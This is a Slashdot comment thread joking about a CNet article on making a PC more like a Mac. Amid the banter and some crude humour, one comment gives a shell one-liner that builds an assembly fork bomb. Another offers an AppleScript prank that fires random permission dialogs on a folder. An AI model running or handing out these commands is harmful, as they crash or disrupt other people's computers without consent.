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How to Turn Your PC into a Mac
An anonymous reader writes "CNet is running a Mac fanboy's idea of a nightmare feature entitled 'Mock OS X: Five ways to make your PC more like a Mac'. While the idea of turning my PC into a Mac-like machine does get my juices flowing, I'm not sure the user experience would be exactly the same but I'm going to spend this afternoon trying it out anyway. "To borrow a metaphor from Spartacus, some people like oysters and some people like snails. Except what if there was a way to make your snail do some of the cool things oysters can do, like make pearls? And what if you could make your PC do some of the cool stuff that Macs do so well?"" Seems to me that this would be a lot easier if step one was install linux...
I haven't RTFA, but by any chance does this involve giving the retailer twice what it's worth for the system and then using a screwdriver to prise off a mouse button or two?
Perl, not Pearl, now get off my lawn!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yes,
Start by adding a cronjob that crashes the machine every 2.5 hours.
Second thing to do is to install some spyware.
Finally, you want to buy her a more-than-one-button mouse.
Good luck!
I think you should find another mother! That way you would be more comfortable.
Does anybody remember those fake plastic/fiberglass car bodies that you could put on top of various chassis? IIRC, there was a ferrari body for a VW frame. This reminds me of exactly that. It has a similar look, but where it counts, it is still a disaster.
I prefer the "u" in honour as it seems to be missing these days.
If you want a Vista experience this applescript should do it - set it as a folder action on her Documents folder :
on adding folder items to thisFolder after receiving addedItems
repeat with anItem in addedItems
tell application "Finder"
display dialog "Are you sure you want to proceed?" buttons ["Allow", "Deny"] default button (random number (1)) + 1
end tell
end repeat
end adding folder items to
Of course, apparently it's illegal in some countries- at least it's not in mine.
Drugs, gambling, and prostitution are are illegal in mine, but that never stopped me from smoking pot, making bets, or getting laid. In fact, my favorite hooker lost a bet and now owes me a joint and a blowjob.
If my politicians weren't for sale to the highest bidder I'd have a bit of respect for the law. If the government wants my respect they're going to have to be a bit more respectable. If the USA ever stops being a plutocracy I'll obey the law.
-mcgrew
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
I for one do not welcome our metaphor-mangling CNET overlords.
No kidding!!! What do you say at this point?
So what you're saying is that OSX isn't compatible with menopausal bitches?
I want to delete my account but Slashdot doesn't allow it.
> If the USA ever stops being a plutocracy
Oh, no, another crackpot who thinks aliens from Pluto are running things....
Hackintosh would have been the way to go with this rather than the turd polishing recommended in TFA.
G4 Hackintosh
I found the hardest part of becoming a Mac user was telling my parents...
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And then you'd have ... a Dell. Doesn't sound like much of a bargain to me.
At first they won't react and understand the obvious implications, but don't worry, this will kick off a thinking process ...
Then, a couple of months later, your father might probe "... hmm just let's discuss about your computing plans. Do you ever plan to buy a computer? Just don't buy the first computer that you might find on the shelf... yadadi yadada... if you plan to buy a PC or <hushy voice> a Mac?<hushy voice> carefully think about whether that box is worthwhile..."
And then you can just blurt out, "yes, indeed, I prefer Macs, but never dared to admit so..."
still you wouldn't want to kiss it.